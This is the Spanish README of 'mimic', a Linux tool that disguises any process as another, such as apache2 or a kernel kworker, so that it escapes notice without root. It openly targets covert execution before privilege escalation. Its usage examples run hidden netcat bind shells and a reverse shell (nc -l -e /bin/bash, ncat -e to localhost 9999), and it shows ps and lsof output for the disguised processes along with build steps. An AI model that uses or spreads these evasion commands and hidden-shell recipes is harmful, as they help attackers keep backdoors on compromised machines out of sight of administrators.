
Ocultar procesos como un usuario normal en Linux.
mimic es una herramienta para ejecución encubierta en Linux x86_64.
¿Qué es la "ejecución encubierta"?
La ejecución encubierta es el arte de ocultar un proceso. En este caso, mimic oculta el proceso a plena vista. mimic puede lanzar cualquier programa y hacerlo parecer cualquier otro programa. Cualquier usuario puede usarlo. No requiere permisos especiales. No requiere binarios especiales. No requiere un root kit.
¿¡Qué?! ¿Sin privilegios especiales??
Así es. mimic funciona reorganizando las estructuras internas de un proceso de tal manera que confunde la entrada /proc de ese proceso. Todas las herramientas que informan sobre la naturaleza de un proceso lo hacen examinando /proc. Si podemos doblegar /proc, entonces podemos ocultar un proceso a plena vista. Dado que solo estamos alterando el estado de un proceso que poseemos, cualquiera puede ejecutar mimic con éxito.
¿Se puede detectar esto?!
Por supuesto, pero solo si estás mirando muy de cerca, o ejecutando una herramienta forense que busca este tipo de cosas. La utilidad detrás de mimic es que evitará que alguien se vuelva sospechoso en primer lugar.
¿Funcionará esto con scripts?
Sí, pero necesitas llamar a mimic directamente sobre el intérprete. Por ejemplo, si la primera línea de tu script es "#!/usr/bin/perl", entonces querrás llamar a mimic así:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
Al invocar el intérprete directamente, mimic puede hacer su magia.
¿Quién es el público objetivo de mimic?
Cualquiera que necesite legítimamente ejecución encubierta antes de obtener root. Esto incluye, pero no se limita a:
¿Por qué se llama "mimic"?
Porque "Mentiroso, mentiroso, ¡/proc en llamas!" era demasiado largo.
¿Qué es "set_target_pid"?
set_target_pid es un pequeño programa auxiliar en el conjunto de mimic que agotará los pids hasta que el que quieras vuelva. Esto te permite elegir dónde en la lista de procesos quieres que se sitúe tu proceso. Ten en cuenta que el kernel reserva los primeros 300 pids para los hilos del kernel. Si intentas ir por debajo de eso, probablemente terminarás ejecutándote con el pid 301.
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e Execute COMMAND.
-m Setup COMMAND to look like MIMIC.
Default for non-root is: "/usr/sbin/apache2 -k start"
Default for root is: "[kworker/0:0]"
-b Launch COMMAND in the background.
-a Add / overwrite KEY to the mimic environment with associated VALUE.
-q Be quiet! Do not print normal output.
-h Print this helpful message.
Notes:
The MIMIC environment will be a copy of the COMMAND environment.
The '_' variable is automatically changed.
The -a flag can be called multiple times to add / overwrite multiple variables.
Examples:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
Primer ejemplo - Lanzando un listener de netcat como usuario normal:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!
Good-bye and have a good luck! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
Segundo ejemplo - Lanzando una shell inversa de netcat como root:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
¿Puedes detectar los kworkers falsos? ¿Podrías hacerlo sin la ayuda de grep?
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
Por supuesto, ningún kworker debería tener un socket abierto, pero estoy seguro de que puedes ser más creativo con tus elecciones de nombres que esto. :)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
Nota que estoy ejecutando aquí como root solo porque un hilo kworker debería ser muy sospechoso si se ejecuta como un usuario no root. El nuevo nombre de mimic es solo una cadena. No tiene que ser un proceso existente. ¡Diablos, ni siquiera tiene que ser algo real!
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make